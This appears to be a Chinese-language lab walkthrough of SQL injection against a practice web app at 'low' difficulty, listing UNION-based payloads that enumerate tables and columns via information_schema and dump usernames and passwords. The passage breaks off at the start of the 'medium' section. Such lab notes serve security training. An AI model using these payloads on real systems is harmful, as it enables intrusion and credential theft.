low :
输入 ' ,有报错,存在sql 注入
查询有几列内容: 1' union select 1,2,3# 返回结果列数不匹配
1' union select 1,2# 返回结果正常
将select 1 ,2 # 1,或者2替换为database(),version() ,users() 可以查看数据库名,版本号,用户登陆账号
输入 1' union select 1, database() #
返回结果
查询表名:
查询语句里面如果没有 COLLATE utf8_ci 将报错:Illegal mix of collations for operation 'UNION'
查询表语句1: group_concat 可以在把多个内容连接显示出来
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.columns where table_schema=database()#
查询表语句2:
1'union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #
查询表语句3:
1'union select 1, (select group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()) #
查询结果会把表名直接列出来
或者分次查询表名,一次只显示一个表名: limit x,y 从第x个开始,显示y个
不加 limit 0,1 会报错:subquery returns more than 1 row.查询结果超过1 行
显示第一个表名:
1'union select 1, (select table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() limit 0,1)#
查询第二个表名:
1'union select 1,(select table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() limit 1,1)#
获取当前表里面的列名:
1' union select 1, group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users'#
1'union select 1,(select group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users')#
返回结果:
查询内容:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) form users#
0x5c /. 表示用斜杠隔开
1'union select (select concat(user,0x5c,password)) , (select concat(first_name,0x5c,last_name)) from users #
1'union select 1, concat(user,0x5c,password) from users #
1'union select concat(first_name,0x5c,last_name), concat(user,0x5c,password) from users #
返回结果:
medium:
打开BP代理,抓包,改包,跟 low级别一样:
修改为: